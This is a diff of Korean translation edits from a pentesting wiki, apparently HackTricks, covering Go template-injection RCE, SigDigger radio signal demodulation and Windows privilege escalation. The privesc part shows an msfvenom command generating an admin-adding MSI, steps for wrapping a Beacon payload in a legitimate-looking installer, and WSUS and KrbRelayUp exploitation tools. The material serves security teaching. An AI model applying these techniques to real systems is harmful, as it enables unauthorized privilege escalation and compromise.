RCE 착취는 `html/template`와 `text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
|
||||
RCE 취약점은 `html/template`와 `text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다.
|
||||
|
||||
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 착취할 수 있습니다. 이를 착취하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
|
||||
Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있다면, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -976,7 +976,9 @@ return string(out)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
## 관련 도움말
|
||||
|
||||
|
@ -4,73 +4,75 @@
|
||||
|
||||
## SigDigger
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)는 GNU/Linux 및 macOS용 무료 디지털 신호 분석기로, 알려지지 않은 라디오 신호의 정보를 추출하도록 설계되었습니다. SoapySDR를 통해 다양한 SDR 장치를 지원하며, FSK, PSK 및 ASK 신호의 조정 가능한 복조를 허용하고, 아날로그 비디오를 디코드하며, 버스트 신호를 분석하고 아날로그 음성 채널을 실시간으로 청취할 수 있습니다.
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)은 GNU/Linux 및 macOS용 무료 디지털 신호 분석기로, 알려지지 않은 라디오 신호의 정보를 추출하도록 설계되었습니다. SoapySDR를 통해 다양한 SDR 장치를 지원하며, FSK, PSK 및 ASK 신호의 조정 가능한 복조, 아날로그 비디오 디코딩, 버스트 신호 분석 및 아날로그 음성 채널 청취(모두 실시간)를 허용합니다.
|
||||
|
||||
### Basic Config
|
||||
|
||||
설치 후 몇 가지 설정을 고려할 수 있습니다.\
|
||||
설정(두 번째 탭 버튼)에서 **SDR 장치**를 선택하거나 **파일을 선택**하여 읽고 조정할 주파수와 샘플 속도(PC가 지원하는 경우 최대 2.56Msps 권장)를 설정할 수 있습니다.\\
|
||||
설치 후 구성할 수 있는 몇 가지 사항이 있습니다.\
|
||||
설정(두 번째 탭 버튼)에서 **SDR 장치**를 선택하거나 **파일을 선택**하여 읽고 조정할 주파수 및 샘플 속도(PC가 지원하는 경우 최대 2.56Msps 권장)를 설정할 수 있습니다.\\
|
||||
|
||||
.png>)
|
||||
|
||||
GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는 것이 좋습니다:
|
||||
GUI 동작에서 PC가 지원하는 경우 몇 가지를 활성화하는 것이 좋습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> PC가 신호를 캡처하지 못하는 경우 OpenGL을 비활성화하고 샘플 속도를 낮추는 것을 고려해 보세요.
|
||||
> PC가 신호를 캡처하지 못하는 경우 OpenGL을 비활성화하고 샘플 속도를 낮추는 것을 고려해 보십시오.
|
||||
|
||||
### Uses
|
||||
|
||||
- 신호의 일부를 **캡처하고 분석하기 위해** "Push to capture" 버튼을 필요한 만큼 유지합니다.
|
||||
- 신호의 일부를 **캡처하고 분석**하려면 "Push to capture" 버튼을 필요한 만큼 유지하십시오.
|
||||
|
||||
.png>)
|
||||
|
||||
- SigDigger의 **튜너**는 **더 나은 신호를 캡처하는 데 도움**을 줍니다(하지만 신호를 저하시킬 수도 있습니다). 이상적으로는 0에서 시작하여 **신호의 개선보다** **노이즈**가 **더 커질 때까지** **크기를 늘려갑니다**.
|
||||
- SigDigger의 **튜너**는 **더 나은 신호를 캡처하는 데 도움**을 줍니다(하지만 신호를 저하시킬 수도 있습니다). 이상적으로는 0에서 시작하여 **신호의 개선보다** **노이즈**가 **더 커질 때까지** **크기를 늘려가십시오**.
|
||||
|
||||
.png>)
|
||||
|
||||
### Synchronize with radio channel
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)로 듣고 싶은 채널과 동기화하고 "Baseband audio preview" 옵션을 설정하며, 전송되는 모든 정보를 얻기 위해 대역폭을 설정한 후, 노이즈가 실제로 증가하기 시작하기 전의 수준으로 튜너를 설정합니다:
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)로 듣고 싶은 채널과 동기화하고 "Baseband audio preview" 옵션을 구성한 다음, 전송되는 모든 정보를 얻기 위해 대역폭을 설정하고 튜너를 노이즈가 실제로 증가하기 시작하기 전의 수준으로 설정하십시오:
|
||||
|
||||
.png>)
|
||||
|
||||
## Interesting tricks
|
||||
|
||||
- 장치가 정보의 버스트를 전송할 때, 일반적으로 **첫 번째 부분은 프리앰블**이므로 **정보를 찾지 못하더라도 걱정할 필요가 없습니다** **또는 그곳에 오류가 있는 경우**.
|
||||
- 정보 프레임에서는 일반적으로 **서로 잘 정렬된 다양한 프레임을 찾아야 합니다**:
|
||||
- 장치가 정보의 버스트를 전송할 때, 일반적으로 **첫 번째 부분은 프리앰블**이므로 **정보를 찾지 못하더라도 걱정할 필요가 없습니다** **또는 오류가 있을 경우**.
|
||||
- 정보 프레임에서 일반적으로 **서로 잘 정렬된 다양한 프레임을 찾아야 합니다**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
- **비트를 복구한 후에는 어떤 방식으로든 처리해야 할 수 있습니다**. 예를 들어, 맨체스터 부호화에서 up+down은 1 또는 0이 되고, down+up은 다른 하나가 됩니다. 따라서 1과 0의 쌍(업과 다운)은 실제 1 또는 실제 0이 됩니다.
|
||||
- 신호가 맨체스터 부호화를 사용하고 있다 하더라도(연속으로 0 또는 1이 2개 이상 발견되는 것은 불가능), **프리앰블에서 여러 개의 1 또는 0을 함께 찾을 수 있습니다**!
|
||||
- **비트를 복구한 후에는 어떤 식으로든 처리해야 할 수 있습니다**. 예를 들어, 맨체스터 부호화에서 up+down은 1 또는 0이고 down+up은 다른 하나입니다. 따라서 1과 0의 쌍(업과 다운)은 실제 1 또는 실제 0이 됩니다.
|
||||
- 신호가 맨체스터 부호화를 사용하고 있다면(연속으로 0 또는 1이 2개 이상 발견되는 것은 불가능), **프리앰블에서 여러 개의 1 또는 0을 발견할 수 있습니다**!
|
||||
|
||||
### Uncovering modulation type with IQ
|
||||
|
||||
신호에 정보를 저장하는 방법은 3가지가 있습니다: **진폭**, **주파수** 또는 **위상**을 변조합니다.\
|
||||
신호에 정보를 저장하는 방법은 3가지가 있습니다: **진폭**, **주파수** 또는 **위상**을 변조하는 것입니다.\
|
||||
신호를 확인할 때 정보를 저장하는 데 사용되는 방법을 파악하기 위한 다양한 방법이 있지만(아래에서 더 많은 방법을 찾을 수 있음), 좋은 방법 중 하나는 IQ 그래프를 확인하는 것입니다.
|
||||
|
||||
.png>)
|
||||
|
||||
- **AM 감지**: IQ 그래프에 예를 들어 **2개의 원**이 나타나면(아마도 하나는 0이고 다른 하나는 다른 진폭), 이는 AM 신호일 수 있습니다. 이는 IQ 그래프에서 0과 원 사이의 거리가 신호의 진폭이기 때문에 서로 다른 진폭이 사용되는 것을 쉽게 시각화할 수 있습니다.
|
||||
- **PM 감지**: 이전 이미지와 같이 서로 관련이 없는 작은 원을 찾으면 이는 아마도 위상 변조가 사용되고 있음을 의미합니다. 이는 IQ 그래프에서 점과 0,0 사이의 각도가 신호의 위상이기 때문에 4개의 서로 다른 위상이 사용되고 있음을 의미합니다.
|
||||
- **AM 감지**: IQ 그래프에 예를 들어 **2개의 원**이 나타나면(아마도 하나는 0에 있고 다른 하나는 다른 진폭에 있음), 이는 AM 신호일 수 있습니다. 이는 IQ 그래프에서 0과 원 사이의 거리가 신호의 진폭이기 때문에 서로 다른 진폭이 사용되는 것을 쉽게 시각화할 수 있습니다.
|
||||
- **PM 감지**: 이전 이미지와 같이 서로 관련이 없는 작은 원을 발견하면 이는 아마도 위상 변조가 사용되고 있음을 의미합니다. 이는 IQ 그래프에서 점과 0,0 사이의 각도가 신호의 위상이기 때문에 4개의 서로 다른 위상이 사용된다는 것을 의미합니다.
|
||||
- 정보가 위상이 변경되는 사실에 숨겨져 있고 위상 자체에 숨겨져 있다면, 서로 다른 위상이 명확하게 구분되지 않을 것입니다.
|
||||
- **FM 감지**: IQ에는 주파수를 식별하는 필드가 없습니다(중심까지의 거리는 진폭이고 각도는 위상입니다).\
|
||||
따라서 FM을 식별하려면 이 그래프에서 **기본적으로 원만 보아야 합니다**.\
|
||||
게다가, 다른 주파수는 IQ 그래프에서 **원 주위를 가로지르는 속도 가속**으로 "표현"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변경을 찾으면 이는 FM일 수 있습니다):
|
||||
또한, 다른 주파수는 IQ 그래프에서 **원 주위를 가로지르는 속도 가속**으로 "표현"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변화가 발견되면 이는 FM일 수 있습니다):
|
||||
|
||||
## AM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Uncovering AM
|
||||
|
||||
#### Checking the envelope
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)로 AM 정보를 확인하고 **엔벨로프**를 살펴보면 서로 다른 명확한 진폭 수준을 볼 수 있습니다. 사용된 신호는 AM으로 정보를 전송하는 펄스를 보내고 있으며, 하나의 펄스는 다음과 같이 보입니다:
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger)로 AM 정보를 확인하고 **엔벨로프**를 보면 서로 다른 명확한 진폭 수준을 볼 수 있습니다. 사용된 신호는 AM으로 정보를 전송하는 펄스를 보내고 있으며, 하나의 펄스는 다음과 같이 보입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -80,7 +82,7 @@ GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는
|
||||
|
||||
#### Checking the Histogram
|
||||
|
||||
정보가 있는 전체 신호를 **선택**하고 **진폭** 모드와 **선택**을 선택한 후 **히스토그램**을 클릭합니다. 두 개의 명확한 수준만 발견할 수 있습니다.
|
||||
정보가 있는 전체 신호를 **선택**하고 **진폭** 모드 및 **선택**을 선택한 다음 **히스토그램**을 클릭할 수 있습니다. 두 개의 명확한 수준만 발견할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -100,7 +102,7 @@ GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는
|
||||
|
||||
#### With one symbol
|
||||
|
||||
가장 작은 기호를 선택하여(확실히 1개임을 확인) "Selection freq"를 확인합니다. 이 경우 1.013kHz(즉, 1kHz)가 됩니다.
|
||||
가장 작은 기호를 선택할 수 있습니다(그래서 그것이 단 하나임을 확신할 수 있습니다) 그리고 "Selection freq"를 확인하십시오. 이 경우 1.013kHz(즉, 1kHz)가 됩니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -112,7 +114,7 @@ GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는
|
||||
|
||||
### Get Bits
|
||||
|
||||
이것이 **AM 변조** 신호이고 **기호 속도**를 찾았으며(이 경우 어떤 것이 위로 가면 1이고 어떤 것이 아래로 가면 0임을 알고 있음), 신호에 인코딩된 **비트를 얻는 것이 매우 쉽습니다**. 따라서 정보를 포함한 신호를 선택하고 샘플링 및 결정을 구성한 후 샘플을 누릅니다( **진폭**이 선택되어 있고 발견된 **기호 속도**가 구성되어 있으며 **Gadner clock recovery**가 선택되어 있는지 확인):
|
||||
이것이 **AM 변조** 신호이고 **기호 속도**를 찾았으며(이 경우 어떤 것이 위로 가면 1이고 어떤 것이 아래로 가면 0임을 알고 있음), 신호에 인코딩된 **비트를 얻는 것은 매우 쉽습니다**. 따라서 정보를 포함한 신호를 선택하고 샘플링 및 결정을 구성한 다음 샘플을 누릅니다( **진폭**이 선택되어 있고 발견된 **기호 속도**가 구성되어 있으며 **Gadner clock recovery**가 선택되어 있는지 확인하십시오):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -125,7 +127,7 @@ GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는
|
||||
|
||||
.png>)
|
||||
|
||||
이제 SigDigger가 **정보를 전달하는 수준의 범위**를 이해하도록 하려면 **하위 수준**을 클릭하고 가장 큰 수준까지 클릭을 유지해야 합니다:
|
||||
이제 SigDigger가 **정보를 전달하는 레벨의 범위**를 이해하도록 하려면 **하위 레벨**을 클릭하고 가장 큰 레벨까지 클릭을 유지해야 합니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -137,11 +139,13 @@ GUI 동작에서 PC가 지원하는 경우 몇 가지 기능을 활성화하는
|
||||
|
||||
신호에 기호당 1비트 이상(예: 2비트)이 있는 경우, SigDigger는 **어떤 기호가** 00, 01, 10, 11인지 알 수 있는 방법이 없으므로 서로 다른 **회색 음영**을 사용하여 각 기호를 나타냅니다(비트를 복사하면 **0에서 3까지의 숫자**를 사용하므로 이를 처리해야 합니다).
|
||||
|
||||
또한 **맨체스터**와 같은 **부호화**를 사용하고, **up+down**은 **1 또는 0**이 될 수 있으며, **down+up**은 1 또는 0이 될 수 있습니다. 이러한 경우에는 **얻은 업(1)과 다운(0)**을 처리하여 01 또는 10 쌍을 0 또는 1로 대체해야 합니다.
|
||||
또한 **맨체스터**와 같은 **부호화**를 사용하고 **업+다운**은 **1 또는 0**이 될 수 있으며, 다운+업은 1 또는 0이 될 수 있습니다. 이러한 경우에는 **얻은 업(1)과 다운(0)**을 처리하여 01 또는 10 쌍을 0 또는 1로 대체해야 합니다.
|
||||
|
||||
## FM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Uncovering FM
|
||||
|
||||
@ -155,7 +159,7 @@ FM으로 변조된 정보를 전송하는 신호 예제:
|
||||
|
||||
.png>)
|
||||
|
||||
이는 내가 두 주파수에서 신호를 캡처했기 때문에 하나는 대략적으로 다른 주파수의 음수입니다:
|
||||
이는 내가 두 주파수에서 신호를 캡처했기 때문에 하나는 대략적으로 다른 하나의 음수입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -171,7 +175,7 @@ FM으로 변조된 정보를 전송하는 신호 예제:
|
||||
|
||||
.png>)
|
||||
|
||||
이 경우 **진폭 히스토그램**을 확인하면 **단 하나의 진폭**만 발견되므로 **AM이 될 수 없습니다**(많은 진폭을 발견하면 신호가 채널을 따라 전력을 잃었기 때문일 수 있습니다):
|
||||
이 경우 **진폭 히스토그램**을 확인하면 **단 하나의 진폭**만 발견되므로 **AM일 수 없습니다**(많은 진폭을 발견하면 신호가 채널을 따라 전력을 잃었기 때문일 수 있습니다):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -183,16 +187,16 @@ FM으로 변조된 정보를 전송하는 신호 예제:
|
||||
|
||||
IQ에는 주파수를 식별하는 필드가 없습니다(중심까지의 거리는 진폭이고 각도는 위상입니다).\
|
||||
따라서 FM을 식별하려면 이 그래프에서 **기본적으로 원만 보아야 합니다**.\
|
||||
게다가, 다른 주파수는 IQ 그래프에서 **원 주위를 가로지르는 속도 가속**으로 "표현"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변경을 찾으면 이는 FM일 수 있습니다):
|
||||
또한, 다른 주파수는 IQ 그래프에서 **원 주위를 가로지르는 속도 가속**으로 "표현"됩니다(따라서 SysDigger에서 신호를 선택하면 IQ 그래프가 채워지며, 생성된 원에서 가속 또는 방향 변화가 발견되면 이는 FM일 수 있습니다):
|
||||
|
||||
.png>)
|
||||
|
||||
### Get Symbol Rate
|
||||
|
||||
기호를 운반하는 주파수를 찾은 후, **AM 예제에서 사용된 것과 동일한 기술**을 사용하여 기호 속도를 얻을 수 있습니다.
|
||||
주파수를 찾은 후 기호 속도를 얻기 위해 **AM 예제에서 사용된 것과 동일한 기술**을 사용할 수 있습니다.
|
||||
|
||||
### Get Bits
|
||||
|
||||
신호가 주파수로 변조되었고 **기호 속도**를 찾은 후, **AM 예제에서 사용된 것과 동일한 기술**을 사용하여 비트를 얻을 수 있습니다.
|
||||
주파수가 변조된 신호를 찾은 후 비트를 얻기 위해 **AM 예제에서 사용된 것과 동일한 기술**을 사용할 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -24,7 +24,7 @@ acls-dacls-sacls-aces.md
|
||||
|
||||
### 무결성 수준
|
||||
|
||||
**Windows에서 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:**
|
||||
**Windows의 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어야 합니다:**
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windows 보안 제어
|
||||
|
||||
Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일을 실행하거나 **활동을 감지하는** 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 다음 **페이지**를 **읽고** 모든 **방어** **메커니즘**을 **열거**해야 합니다:
|
||||
Windows에는 **시스템을 열거하는 것을 방지**하거나 실행 파일을 실행하거나 **활동을 감지하는 것**을 **막을 수 있는** 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 다음 **페이지를 읽고** 모든 **방어** **메커니즘**을 **열거**해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -64,7 +64,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
- _post/windows/gather/enum_patches_
|
||||
- _post/multi/recon/local_exploit_suggester_
|
||||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas는 watson이 내장되어 있습니다)_
|
||||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas에는 watson이 내장되어 있습니다)_
|
||||
|
||||
**시스템 정보로 로컬에서**
|
||||
|
||||
@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
|
||||
### Environment
|
||||
|
||||
env 변수에 저장된 자격 증명/유용한 정보가 있습니까?
|
||||
env 변수에 저장된 자격 증명/민감한 정보가 있습니까?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
```
|
||||
스크립트 블록에 대한 로그 이벤트는 Windows 이벤트 뷰어의 경로 **응용 프로그램 및 서비스 로그 > Microsoft > Windows > PowerShell > 운영**에서 찾을 수 있습니다.\
|
||||
스크립트 블록에 대한 로그 이벤트는 Windows 이벤트 뷰어의 경로 **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**에서 찾을 수 있습니다.\
|
||||
마지막 20개의 이벤트를 보려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
시스템을 손상시킬 수 있습니다. 업데이트가 http가 아닌 http**S**를 사용하여 요청되지 않는 경우입니다.
|
||||
|
||||
다음 명령을 실행하여 네트워크가 비 SSL WSUS 업데이트를 사용하는지 확인합니다:
|
||||
다음 명령어를 실행하여 네트워크가 비SSL WSUS 업데이트를 사용하는지 확인합니다:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
@ -163,15 +163,17 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`가 `1`과 같다면,
|
||||
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`가 `1`과 같다면,
|
||||
|
||||
그렇다면, **악용 가능**합니다. 마지막 레지스트리가 0과 같다면, WSUS 항목은 무시됩니다.
|
||||
그렇다면 **악용 가능**합니다. 마지막 레지스트리가 0과 같으면 WSUS 항목은 무시됩니다.
|
||||
|
||||
이 취약점을 악용하기 위해 다음과 같은 도구를 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트입니다.
|
||||
이 취약점을 악용하기 위해서는 다음과 같은 도구를 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트입니다.
|
||||
|
||||
여기에서 연구를 읽어보세요:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
@ -180,15 +182,15 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
|
||||
> 우리가 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows 업데이트가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 [PyWSUS](https://github.com/GoSecure/pywsus)를 로컬에서 실행하여 자신의 트래픽을 가로채고 자산에서 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 됩니다.
|
||||
>
|
||||
> 게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용합니다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면, HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대한 신뢰-첫 사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않습니다. 제시된 인증서가 사용자에 의해 신뢰되고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용됩니다.
|
||||
> 게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용합니다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면, HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대한 신뢰-첫-사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않습니다. 제시된 인증서가 사용자가 신뢰하고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용됩니다.
|
||||
|
||||
이 취약점을 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 도구를 사용하여 악용할 수 있습니다 (해방되면).
|
||||
이 취약점을 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 도구를 사용하여 악용할 수 있습니다 (해방된 후).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
**로컬 권한 상승** 취약점이 특정 조건 하에 Windows **도메인** 환경에 존재합니다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함됩니다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 합니다.
|
||||
특정 조건 하에 Windows **도메인** 환경에서 **로컬 권한 상승** 취약점이 존재합니다. 이러한 조건에는 **LDAP 서명이 시행되지 않는** 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 보유하고 있으며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함됩니다. 이러한 **요구 사항**은 **기본 설정**을 사용하여 충족된다는 점에 유의해야 합니다.
|
||||
|
||||
**여기에서 익스플로잇을 찾으세요**: [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
**악용을 찾으세요** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
공격 흐름에 대한 자세한 정보는 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)를 확인하세요.
|
||||
|
||||
@ -212,27 +214,27 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
그냥 생성된 바이너리를 실행하여 권한을 상승시킵니다.
|
||||
Just execute the created binary to escalate privileges.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
이 도구를 사용하여 MSI 래퍼를 만드는 방법을 배우려면 이 튜토리얼을 읽으세요. **명령줄**을 **실행**하려는 경우 "**.bat**" 파일을 래핑할 수 있습니다.
|
||||
이 튜토리얼을 읽고 이 도구를 사용하여 MSI 래퍼를 만드는 방법을 배우세요. **명령줄**을 **실행**하려는 경우 "**.bat**" 파일을 래핑할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
{{#endref}}
|
||||
|
||||
### WIX로 MSI 만들기
|
||||
### Create MSI with WIX
|
||||
|
||||
{{#ref}}
|
||||
create-msi-with-wix.md
|
||||
{{#endref}}
|
||||
|
||||
### Visual Studio로 MSI 만들기
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
- **Cobalt Strike** 또는 **Metasploit**를 사용하여 `C:\privesc\beacon.exe`에 **새 Windows EXE TCP 페이로드**를 **생성**합니다.
|
||||
- **Visual Studio**를 열고 **새 프로젝트 만들기**를 선택한 후 검색 상자에 "installer"를 입력합니다. **Setup Wizard** 프로젝트를 선택하고 **Next**를 클릭합니다.
|
||||
- 프로젝트 이름을 **AlwaysPrivesc**로 지정하고 위치에 **`C:\privesc`**를 사용하며, **솔루션과 프로젝트를 동일한 디렉터리에 배치**를 선택한 후 **Create**를 클릭합니다.
|
||||
- 프로젝트 이름을 **AlwaysPrivesc**로 지정하고 위치에 **`C:\privesc`**를 사용하며, **솔루션과 프로젝트를 동일한 디렉터리에 배치**를 선택하고 **Create**를 클릭합니다.
|
||||
- 4단계 중 3단계(포함할 파일 선택)에 도달할 때까지 **Next**를 계속 클릭합니다. **Add**를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 **Finish**를 클릭합니다.
|
||||
- **Solution Explorer**에서 **AlwaysPrivesc** 프로젝트를 강조 표시하고 **Properties**에서 **TargetPlatform**을 **x86**에서 **x64**로 변경합니다.
|
||||
- 설치된 앱이 더 합법적으로 보이도록 **Author** 및 **Manufacturer**와 같은 다른 속성을 변경할 수 있습니다.
|
||||
@ -243,7 +245,7 @@ create-msi-with-wix.md
|
||||
- 마지막으로 **빌드**합니다.
|
||||
- `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` 경고가 표시되면 플랫폼을 x64로 설정했는지 확인합니다.
|
||||
|
||||
### MSI 설치
|
||||
### MSI Installation
|
||||
|
||||
악성 `.msi` 파일의 **설치**를 **백그라운드**에서 실행하려면:
|
||||
```
|
||||
@ -282,14 +284,14 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA 보호
|
||||
|
||||
